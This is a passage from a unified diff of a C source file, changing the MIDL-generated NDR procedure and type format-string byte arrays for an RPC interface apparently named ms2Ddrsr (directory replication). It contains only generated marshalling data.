0x04, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x18, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, + 0x00, 0x00, 0xe8, 0x03, 0x48, 0x00, 0x04, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x08, 0x00, 0xf0, 0x03, 0x50, 0x21, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x01, 0x10, 0x00, 0xa6, 0x04, 0x70, 0x00, 0x14, 0x00, + 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x10, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x08, 0x00, 0x46, 0x04, 0x08, 0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0xe8, 0x03, 0x48, 0x00, 0x04, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x08, 0x00, 0xc0, 0x04, 0x70, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, + 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x04, 0x00, 0x32, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, + 0x00, 0x00, 0x0c, 0x00, 0x18, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xe8, 0x03, + 0x48, 0x00, 0x04, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x08, 0x00, 0xfe, 0x04, 0x50, 0x21, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x21, 0x10, 0x00, 0x5a, 0x05, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, 0x48, + 0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, + 0x0e, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x04, 0x00, + 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x18, 0x00, 0x30, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xe8, 0x03, 0x48, 0x00, 0x04, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x08, 0x00, + 0x74, 0x05, 0x50, 0x21, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x21, 0x10, 0x00, 0xa2, 0x05, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00 }}; static const ms2Ddrsr_MIDL_TYPE_FORMAT_STRING ms2Ddrsr__MIDL_TypeFormatString = {0, { 0x00, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x15, 0x07, 0x18, 0x00, 0x0b, 0x0b, 0x0b, 0x5b, 0xb7, 0x08, 0x00, 0x00, @@ -227,62 +256,46 @@ static const ms2Ddrsr_MIDL_TYPE_FORMAT_STRING ms2Ddrsr__MIDL_TypeFormatString = 0x08, 0x40, 0x4c, 0x00, 0xe4, 0xff, 0x5c, 0x5b, 0x12, 0x00, 0xa0, 0xfe, 0x21, 0x07, 0x00, 0x00, 0x19, 0x00, 0x80, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xd4, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x90, 0x00, 0x00, 0x00, 0x28, 0x00, 0x4c, 0x00, 0xdc, 0xfd, 0x4c, 0x00, 0xd8, 0xfd, 0x36, 0x40, 0x4c, 0x00, 0xde, 0xfd, 0x4c, 0x00, 0xda, 0xfd, 0x36, 0x4c, 0x00, 0x33, 0xfe, 0x08, 0x08, 0x08, 0x36, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x3a, 0xfe, 0x36, 0x08, 0x40, 0x5b, 0x12, 0x00, 0x58, 0xfe, 0x12, 0x00, 0x8c, 0xfe, 0x12, 0x00, 0x70, 0xff, 0x12, 0x00, 0xae, 0xff, - 0x12, 0x00, 0xa6, 0xfd, 0x12, 0x00, 0x18, 0x00, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x09, 0x00, 0xfc, 0xff, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, - 0x04, 0x00, 0xf0, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xe0, 0xff, 0x5c, 0x5b, 0x11, 0x14, 0xd6, 0xff, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xe1, 0x00, 0x00, - 0x30, 0x41, 0x00, 0x00, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x88, 0x00, 0x05, 0x00, 0x04, 0x00, 0x00, 0x00, 0xbc, 0x00, 0x05, 0x00, 0x00, 0x00, - 0xd4, 0x00, 0x07, 0x00, 0x00, 0x00, 0x02, 0x01, 0x08, 0x00, 0x00, 0x00, 0x22, 0x01, 0x0a, 0x00, 0x00, 0x00, 0x54, 0x01, 0xff, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, - 0x15, 0x07, 0x18, 0x00, 0x4c, 0x00, 0x22, 0xfd, 0x0b, 0x5b, 0x1b, 0x07, 0x18, 0x00, 0x09, 0x00, 0xf8, 0xff, 0x01, 0x00, 0x4c, 0x00, 0xea, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x10, 0x00, 0xec, 0xff, - 0x00, 0x00, 0x08, 0x08, 0x4c, 0x00, 0xd0, 0xff, 0x08, 0x5b, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x1b, 0x03, 0x04, 0x00, 0x09, 0x00, 0xfc, 0xff, 0x01, 0x00, 0x08, 0x5b, - 0x1a, 0x03, 0x0c, 0x00, 0xf0, 0xff, 0x00, 0x00, 0x08, 0x08, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x60, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x4c, 0x00, 0xce, 0xfc, 0x4c, 0x00, 0xca, 0xfc, - 0x36, 0x40, 0x4c, 0x00, 0xd0, 0xfc, 0x36, 0x36, 0x4c, 0x00, 0x28, 0xfd, 0x08, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x11, 0x00, 0x56, 0xfd, 0x12, 0x00, 0xa2, 0xff, 0x12, 0x00, 0xc4, 0xff, 0xb7, 0x08, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x1a, 0x03, 0x04, 0x00, 0x06, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xec, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x78, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x4c, 0x00, - 0x88, 0xfc, 0x36, 0x40, 0x4c, 0x00, 0xaa, 0xff, 0x5c, 0x5b, 0x11, 0x00, 0xdc, 0xff, 0x15, 0x07, 0x08, 0x00, 0x0b, 0x5b, 0x16, 0x07, 0x60, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x20, 0x00, 0x20, 0x00, - 0x11, 0x00, 0x08, 0xfd, 0x46, 0x5c, 0x40, 0x00, 0x40, 0x00, 0x12, 0x00, 0x4e, 0xff, 0x5b, 0x4c, 0x00, 0x57, 0xfc, 0x4c, 0x00, 0x53, 0xfc, 0x08, 0x40, 0x4c, 0x00, 0x59, 0xfc, 0x08, 0x08, 0x08, - 0x08, 0x08, 0x40, 0x4c, 0x00, 0xc9, 0xff, 0x5b, 0x1a, 0x07, 0x88, 0x00, 0x00, 0x00, 0x14, 0x00, 0x4c, 0x00, 0x36, 0xfc, 0x36, 0x40, 0x4c, 0x00, 0x58, 0xff, 0x36, 0x36, 0x4c, 0x00, 0x94, 0xfc, - 0x5c, 0x5b, 0x11, 0x00, 0x84, 0xff, 0x12, 0x00, 0x38, 0xff, 0x12, 0x00, 0x34, 0xff, 0x1a, 0x07, 0x70, 0x00, 0x00, 0x00, 0x22, 0x00, 0x4c, 0x00, 0x10, 0xfc, 0x4c, 0x00, 0x0c, 0xfc, 0x36, 0x40, - 0x4c, 0x00, 0x12, 0xfc, 0x36, 0x08, 0x08, 0x08, 0x08, 0x40, 0x4c, 0x00, 0x82, 0xff, 0x36, 0x36, 0x4c, 0x00, 0x60, 0xfc, 0x5c, 0x5b, 0x11, 0x00, 0x92, 0xfc, 0x12, 0x00, 0xde, 0xfe, 0x12, 0x00, - 0x00, 0xff, 0x12, 0x00, 0xfc, 0xfe, 0x1a, 0x07, 0x78, 0x00, 0x00, 0x00, 0x24, 0x00, 0x4c, 0x00, 0xd8, 0xfb, 0x4c, 0x00, 0xd4, 0xfb, 0x36, 0x40, 0x4c, 0x00, 0xda, 0xfb, 0x36, 0x08, 0x08, 0x08, - 0x08, 0x40, 0x4c, 0x00, 0x4a, 0xff, 0x36, 0x36, 0x4c, 0x00, 0x28, 0xfc, 0x08, 0x40, 0x5c, 0x5b, 0x11, 0x00, 0x58, 0xfc, 0x12, 0x00, 0xa4, 0xfe, 0x12, 0x00, 0xc6, 0xfe, 0x12, 0x00, 0xc2, 0xfe, - 0x11, 0x0c, 0x08, 0x5c, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, 0x0c, 0x00, 0x01, 0x00, 0x02, 0x00, 0x90, 0x00, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x54, 0x00, 0x06, 0x00, 0x00, 0x00, 0x9c, 0xfd, 0x07, 0x00, 0x00, 0x00, 0x5e, 0x00, 0x09, 0x00, 0x00, 0x00, 0xb2, 0x00, 0xff, 0xff, 0x1a, 0x07, 0x78, 0x00, 0x00, 0x00, 0x20, 0x00, 0x4c, 0x00, - 0x68, 0xfb, 0x4c, 0x00, 0x64, 0xfb, 0x36, 0x40, 0x4c, 0x00, 0x6a, 0xfb, 0x4c, 0x00, 0x66, 0xfb, 0x36, 0x4c, 0x00, 0xbf, 0xfb, 0x08, 0x08, 0x08, 0x36, 0x08, 0x5c, 0x5b, 0x12, 0x00, 0xec, 0xfb, - 0x12, 0x00, 0x38, 0xfe, 0x12, 0x00, 0x04, 0xfd, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x16, 0x03, 0x0c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x08, 0x00, 0x08, 0x00, - 0x12, 0x00, 0xe6, 0xff, 0x5b, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x1a, 0x03, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x0d, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x10, 0x00, 0x15, 0x07, 0x48, 0x00, 0x0b, 0x4c, 0x00, 0x93, 0xfc, 0x08, 0x08, 0x08, 0x40, 0x0b, 0x5c, 0x5b, 0x1a, 0x07, 0x60, 0x00, 0x00, 0x00, 0x10, 0x00, 0x36, 0x08, 0x4c, 0x00, - 0xf0, 0xfb, 0x08, 0x40, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x12, 0x00, 0x7e, 0xfb, 0x21, 0x07, 0x00, 0x00, 0x19, 0x00, 0x80, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, - 0xd4, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x90, 0x00, 0x00, 0x00, 0x28, 0x00, 0x4c, 0x00, 0xba, 0xfa, 0x4c, 0x00, 0xb6, 0xfa, 0x36, 0x40, 0x4c, 0x00, 0xbc, 0xfa, 0x4c, 0x00, 0xb8, 0xfa, 0x36, 0x4c, - 0x00, 0x11, 0xfb, 0x08, 0x08, 0x08, 0x36, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x8e, 0xff, 0x36, 0x08, 0x40, 0x5b, 0x12, 0x00, 0x36, 0xfb, 0x12, 0x00, 0x6a, 0xfb, 0x12, 0x00, 0x4e, 0xfc, 0x12, 0x00, - 0xae, 0xff, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x1c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x2e, 0x00, 0xff, 0xff, 0xb7, 0x08, 0x01, 0x00, - 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x1b, 0x03, 0x04, 0x00, 0x19, 0x00, 0x14, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, - 0x25, 0x5c, 0x5b, 0x08, 0x5c, 0x5b, 0x1a, 0x03, 0x1c, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0xc7, 0xff, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xca, 0xff, 0x11, 0x04, - 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, 0x0c, 0x00, 0x01, 0x00, 0x02, 0x00, 0x04, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x62, 0x00, 0xff, 0xff, 0x16, 0x03, 0x0c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, - 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x1b, 0x03, 0x0c, 0x00, 0x19, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0xb9, - 0xff, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x00, 0xc8, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x16, 0x03, 0x04, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, - 0x00, 0x00, 0x12, 0x00, 0xde, 0xff, 0x5b, 0x08, 0x5c, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x08, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x04, 0x00, 0xff, 0xff, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x5b, 0x11, 0x04, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, - 0x0c, 0x00, 0x01, 0x00, 0x02, 0x00, 0x08, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x02, 0x00, 0x00, 0x00, 0x74, 0x01, 0x03, 0x00, 0x00, 0x00, 0x46, 0x02, 0xff, 0xff, 0xff, 0xff, - 0x98, 0x02, 0xff, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x16, 0x03, 0x1c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, - 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x0c, 0x00, 0x0c, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x10, 0x00, - 0x10, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x1b, 0x03, 0x1c, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x1c, 0x00, - 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x0c, 0x00, 0x0c, 0x00, - 0x12, 0x08, 0x25, 0x5c, 0x10, 0x00, 0x10, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0x7f, 0xff, 0x5b, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x00, 0x68, 0xff, 0x36, 0x5b, - 0x12, 0x00, 0xae, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x16, 0x03, 0x68, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, - 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x0c, 0x00, 0x0c, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x10, 0x00, - 0x10, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x14, 0x00, 0x14, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x18, 0x00, 0x18, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x08, - 0x08, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x41, 0xf8, 0x4c, 0x00, 0x3d, 0xf8, 0x4c, 0x00, 0x39, 0xf8, 0x4c, 0x00, 0x35, 0xf8, 0x5b, 0x1b, 0x03, 0x68, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x4b, 0x5c, 0x48, 0x49, 0x68, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, - 0x25, 0x5c, 0x0c, 0x00, 0x0c, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x10, 0x00, 0x10, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x14, 0x00, 0x14, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x18, 0x00, 0x18, 0x00, 0x12, 0x08, - 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0x49, 0xff, 0x5b, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x00, 0x32, 0xff, 0x36, 0x5b, 0x12, 0x00, 0x9e, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x27, 0x00, 0x00, 0x16, 0x03, 0x6c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, - 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x0c, 0x00, 0x0c, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x10, 0x00, 0x10, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x14, 0x00, - 0x14, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x18, 0x00, 0x18, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x6a, 0xf7, - 0x4c, 0x00, 0x66, 0xf7, 0x4c, 0x00, 0x62, 0xf7, 0x4c, 0x00, 0x5e, 0xf7, 0x5c, 0x5b, 0x1b, 0x03, 0x6c, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x6c, 0x00, 0x00, 0x00, - 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x0c, 0x00, 0x0c, 0x00, 0x12, 0x08, - 0x25, 0x5c, 0x10, 0x00, 0x10, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x14, 0x00, 0x14, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x18, 0x00, 0x18, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0x47, 0xff, 0x5b, - 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x00, 0x30, 0xff, 0x36, 0x5b, 0x12, 0x00, 0x9e, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x16, 0x03, 0x1c, 0x00, - 0x4b, 0x5c, 0x46, 0x5c, 0x18, 0x00, 0x18, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x1b, 0x03, 0x1c, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x4b, 0x5c, 0x48, 0x49, 0x1c, 0x00, 0x00, 0x00, 0x01, 0x00, 0x18, 0x00, 0x18, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0xc7, 0xff, 0x5b, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, - 0x4c, 0x00, 0xb0, 0xff, 0x36, 0x5b, 0x12, 0x00, 0xce, 0xff, 0x00, + 0x16, 0x03, 0x0c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x5c, 0x5b, + 0x1b, 0x03, 0x0c, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x08, 0x00, 0x08, 0x00, + 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0xb9, 0xff, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x00, 0xc8, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x16, 0x03, + 0x04, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0xde, 0xff, 0x5b, 0x08, 0x5c, 0x5b, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x16, 0x03, 0x68, 0x00, + 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, + 0x46, 0x5c, 0x0c, 0x00, 0x0c, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x10, 0x00, 0x10, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x14, 0x00, 0x14, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, + 0x18, 0x00, 0x18, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0xd3, 0xfc, 0x4c, 0x00, 0xcf, 0xfc, 0x4c, 0x00, 0xcb, 0xfc, 0x4c, + 0x00, 0xc7, 0xfc, 0x5b, 0x1b, 0x03, 0x68, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x68, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, + 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x0c, 0x00, 0x0c, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x10, 0x00, 0x10, 0x00, 0x12, 0x08, 0x25, 0x5c, + 0x14, 0x00, 0x14, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x18, 0x00, 0x18, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0x49, 0xff, 0x5b, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x00, + 0x32, 0xff, 0x36, 0x5b, 0x12, 0x00, 0x9e, 0xff, 0x12, 0x00, 0x5e, 0xfc, 0x12, 0x00, 0x18, 0x00, 0xb7, 0x08, 0x01, 